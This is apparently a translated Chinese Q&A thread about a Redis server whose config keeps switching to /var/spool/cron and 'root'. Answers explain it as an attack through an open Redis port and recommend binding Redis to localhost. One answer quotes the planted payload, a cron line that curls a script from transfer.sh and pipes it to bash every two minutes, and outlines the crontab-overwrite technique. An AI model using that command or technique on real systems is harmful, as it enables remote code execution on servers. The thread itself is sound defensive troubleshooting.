and*_*dam 4 cron permission-denied redis redis-server
我已经设置了我的 redis-server 以便CONFIG GET dir --> "/var/lib/redis"和CONFIG GET dbfilename --> "redis.rdb".
但是,在我的服务器运行几个小时或几天后,我开始收到"Failed opening .rdb for saving: Permission denied"错误消息。
如果我再做CONFIG GET dir --> "/var/spool/cron"和CONFIG GET dbfilename --> "root"。我试图四处寻找对正在发生的事情的某种理解,但无济于事。
如果我只是重新启动我的 redis-server,那么配置将再次重置为我在“redis.conf”文件中设置的原始设置。
小智 10
这确实是一次攻击。如果您在发生这种情况后检查您的 redis 键,您将看到很少有这样的“字符串”键:“Backup1”、“Backup2”、“Backup3”。
这些的价值将是这样的:
"\t\n*/2 * * * * curl -s https://transfer.sh/QMvW6/tmp.M8pAEgBA6T > .cmd && bash .cmd\n\t"
Run Code Online (Sandbox Code Playgroud)
这是为了修改您的 crontab。
底线是 - 不要向世界开放 redis 端口。
看来这可能只是一个安全问题。开箱即用的 redis 可以通过任何 IP 地址访问。作为检查这是否是 @ItamarHaber 建议的安全问题的简单第一步,我只需将 Redis 服务器绑定到本地主机,现在问题似乎已经自行解决。这是一篇很棒的文章,对我有帮助。关于Redis安全的一些事情
| 归档时间: |
|
| 查看次数: |
4468 次 |
| 最近记录: |